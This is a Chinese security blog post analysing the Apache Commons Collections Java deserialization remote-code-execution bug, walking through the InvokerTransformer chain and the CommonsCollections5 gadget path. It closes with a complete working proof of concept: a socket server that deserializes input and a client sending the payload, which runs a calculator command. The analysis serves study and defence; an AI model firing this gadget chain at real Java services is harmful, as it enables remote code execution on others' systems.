[Java unserialization] ApacheCommonsCollections 反序列化漏洞分析
0x00 CommonsCollections
上篇文章讲道了Spring-tx组件出现的问题，通过构造RMI和JNDI来供服务端下载恶意class并通过反序列化进行RCE，这次研究一下另外一种漏洞，利用Java的反射机制来执行任意命令，并且通过反序列化来进行RCE。本次分析的漏洞则是2015年出现的Apache-commons-collections组件出现的反序列化问题，这个包为Java提供了很多基础常用且强大的数据结构，方便开发。
0x01 TransformedMap
看网上的大佬们说这次出现的问题是由于TransformedMap和InvokerTransformer造成的。
TransformedMap这个类是用来对Map进行某些变换用的，例如当我们修改Map中的某个值时，就会触发我们预先定义好的某些操作来对Map进行处理。
Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);
通过decorate函数就可以将一个普通的Map转换为一个TransformedMap。第二个参数和第三个参数分别对应当key改变和value改变时需要做的操作；Transformer是一个接口，实现transform(Object input)方法即可进行实际的变换操作，按照如上代码生成transformedMap后，如果修改了其中的任意key或value，都会调用对应的transform方法去进行一些变换操作。
如果想要进行一系列的变换操作，可以通过定义一个ChainedTransformer来实现，只需要传入一个Transformer数组即可：
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(...),
new InvokerTransformer(...)
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map transMap = TransformedMap.decorate(rawMap, null, chainedTransformer);
CommonCollections也已经内置了许多常见的transformer，无需手工编写，其中有一个InvokerTransformer十分有趣，可以通过反射的方式去调用任意的函数，也是我们执行命令的关键。
0x02 Run exec
在Java中执行命令一般通过Runtime.getRuntime().exec("command")来执行命令，如果我们想在修改transformedMap时执行命令，就需要构造一个特殊的ChainedTransformer来反射出exec函数。
在构造之前，我们要先看一下ChainedTransformer和InvokerTransformer是如何工作的，下面的代码会触发chainedTransformer开始进行变换：
Map normalMap = new HashMap();
normalMap.put("foo", "bar");
Map transformMap = TransformedMap.decorate(normalMap, transformChain, transformChain);
Map.Entry entry = (Map.Entry) transformMap.entrySet().iterator().next();
entry.setValue("test");
最终会调用到org/apache/commons/collections/functors/ChainedTransformer.class中的transform方法。
可以看到这个链中，会将上一次变换的结果作为下一次变换的输入，直到所有的变换完成，并返回最终的object，很容易理解，就不过多赘述了。
下面来看下InvokerTransformer的关键代码
关键部分在于通过getClass()、getMethod、invoke()来进行反射，查找并调用给定的方法。
在我们构造的chain中，最终实现的应当是执行类似于
((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("ifconfig")
这样的代码，所以chain的第一步就是获取Runtime类，可以通过内置的ConstantTransformer来获取，所以chain现在是这个样子：
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class)
};
Transformer transformChain = new ChainedTransformer(transformers);
接下来就是通过InvokerTransformer来反射调用getMethod方法，参数是getRuntime，以此来获取到Runtime.getRuntime。InvokerTransformer接受三个参数，分别是调用方法的名称，参数类型，调用参数。所以第一个参数就应当为getMethod；而getMethod方法的签名为getMethod(String, Class...)，我们实际用的时候也只传入了一个String，所以第二个参数应当写为new Class[] {String.class, Class[].class}，第三个参数则为调用getMethod时候实际传入的参数，所以应当为new Object[] {"getRuntime", new Class[0]}就可以了。
到这里chain已经是这个样子了：
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]})
};
Transformer transformChain = new ChainedTransformer(transformers);
紧接着我们按照同样的方法构造出调用invoke和exec的InvokerTransformer，整个chain就完成了。
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"})
};
Transformer transformChain = new ChainedTransformer(transformers);
我们只要构造一个使用此chain的TransformedMap，就可以执行命令了，可以通过下面的代码来进行测试：
// 创建普通的Map
Map normalMap = new HashMap();
normalMap.put("foo", "bar");
// 将普通的Map变成TransformedMap，并且指定变换方式为前面定义的恶意chain
Map transformMap = TransformedMap.decorate(normalMap, transformChain, transformChain);
// 尝试修改TransformedMap中的一个值，成功执行命令
Map.Entry entry = (Map.Entry) transformMap.entrySet().iterator().next();
entry.setValue("test");
执行结果如下
0x03 RCE?
到目前为止，我们已经构造出了可以执行命令的恶意chain，姑且称之为pocChain。现在只要找到一个符合以下条件的类，并且服务端有反序列化的入口，就可以RCE了：
- 该类重写了
readObject方法； - 该类在
readObject方法中操作了我们序列化后实现了pocChain的TransformedMap；
看了网上很多的文章，均提到了AnnotationInvocationHandler类，其中有一个变量memberValues是Map类型，并且这个变量可以在构造函数中设置，除此之外，还在readObject方法中对memberValues中的每一项调用了setValues方法。一切简直完美，完全符合刚才说到的条件，但是在我实际的调试中发现，为什么不弹计算器，为什么AnnotationInvocationHandler的代码和大佬们的代码不一样，附上我这里的代码：
多篇文章中提到的setValues方法失踪了，搜了很多篇资料后，具体原因还是不太清楚，姑且认为是JDK1.8的原因吧，所以我们需要找一个其他的类来完成我们的调用链；后来在网上找到了ysoserial这个项目，惊喜的发现其中的CommonsCollections5这个payload可以完美运行，于是对着这个poc疯狂调试，终于找到了一个调用链。
0x04 RCE!
CommonCollections5中利用的是BadAttributeValueExpException这个类，不妨先看下这个类的代码：
package javax.management;
import java.io.IOException;
import java.io.ObjectInputStream;
public class BadAttributeValueExpException extends Exception {
/* Serial version */
private static final long serialVersionUID = -3105272988410493376L;
/**
* @serial A string representation of the attribute that originated this exception.
* for example, the string value can be the return of {@code attribute.toString()}
*/
private Object val;
/**
* Constructs a BadAttributeValueExpException using the specified Object to
* create the toString() value.
*
* @param val the inappropriate value.
*/
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
/**
* Returns the string representing the object.
*/
public String toString() {
return "BadAttributeValueException: " + val;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}
通读一下代码，非常简单，其中有一个私有变量val，而且重写了readObject方法，如果我们通过序列化传入的val是个LazyMap，那么在其中调用valObj.toString()的时候会去调用LazyMap.get()中的transform函数。
梳理一下到目前为止的思路：
构造一个BadAttributeValueException对象exception ->
exception的val变量设置为LazyMap的entry ->
调用entry的toString将其转为字符串 ->
调用LazyMap的get方法获取一个不存在的key ->
调用transform方法执行命令
转换成调用链就是：
BadAttributeValueException.readObject ->
TiedMapEntry.toString ->
LazyMap.get ->
ChainedTransformer.transform
所以我们先来构造一下恶意的Map:
Map innerMap = new HashMap();
innerMap.put("foo", "bar");
Map lazyMap = LazyMap.decorate(innerMap, transformChain);
lazyMap.get("foo233");
这里传入了一个不存在的键foo233，当调用entry.getValue()去尝试获取这个不存在的键对应的值时，会通过transformChain来创建对应的值并且放到Map中。但是我们不能这么写，需要通过类似『延迟计算』的特性，让其在序列化以后并且在toString的时候再去获取不存在的键以触发payload。所以这里引入了另外的一个类TiedMapEntry，他和普通的entry比较类似，但是可以将一个键和entry进行绑定，在需要的时候直接调用getValue()方法即可；
Map innerMap = new HashMap();
innerMap.put("foo", "bar");
Map lazyMap = LazyMap.decorate(innerMap, transformChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo233");
接下来的工作就是构造一个BadAttributeValueExpException对象并序列化，这里有个骚操作，就是如何给私有的变量赋值。
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
Field valField = exception.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exception, entry);
exception就是我们最终构造好的对象，将其序列化后存入文件，读取出来并反序列化的时候就会执行命令。除了这一条调用链外，还有很多其他的调用链可以使用，包括CommonsCollections3和CommonCollections6，感兴趣的同学可以自己调试一下PoC，但是这里有个坑。
我调试的时候使用的是IDEA，在调试模式下，IDE会不断的计算每个变量的值，正是因为这个特性，IDE会『帮』我们提前执行PoC，从而导致在没有走到漏洞触发点的时候就已经弹计算器了，所以在调试的时候要格外细心，防止走错路。
比如这张图，断点下在构造exception的时候，但是我们的PoC已经执行了，其原因就是IDE调试功能中的自动计算导致的。
0x05 DEMO
// filename: Server.java
package me.lightless;
import java.io.ObjectInputStream;
import java.net.ServerSocket;
import java.net.Socket;
public class Server {
public static void main(String[] args) {
try {
ServerSocket serverSocket = new ServerSocket(9999);
System.out.println("Server started on port " + serverSocket.getLocalPort());
while (true) {
Socket socket = serverSocket.accept();
System.out.println("Connection received from " + socket.getInetAddress());
ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
try {
Object object = objectInputStream.readObject();
System.out.println("Read object " + object);
} catch (Exception e) {
System.out.println("Exception caught while reading object");
e.printStackTrace();
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
// filename: POC.java
package me.lightless;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.Socket;
import java.util.HashMap;
import java.util.Map;
public class POC {
public static void main(String[] args) throws Exception {
// ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("payload.bin"));
// objectInputStream.readObject();
// objectInputStream.close();
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"}),
new ConstantTransformer("1")
};
Transformer transformChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo233");
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
Field valField = exception.getClass().getDeclaredField("val");
// System.out.println("val field: " + valField);
valField.setAccessible(true);
valField.set(exception, entry);
Socket socket=new Socket("127.0.0.1", 9999);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
objectOutputStream.writeObject(exception);
objectOutputStream.flush();
}
}
0xff 参考文献
- https://security.tencent.com/index.php/blog/msg/97
- https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
- https://github.com/frohoff/ysoserial
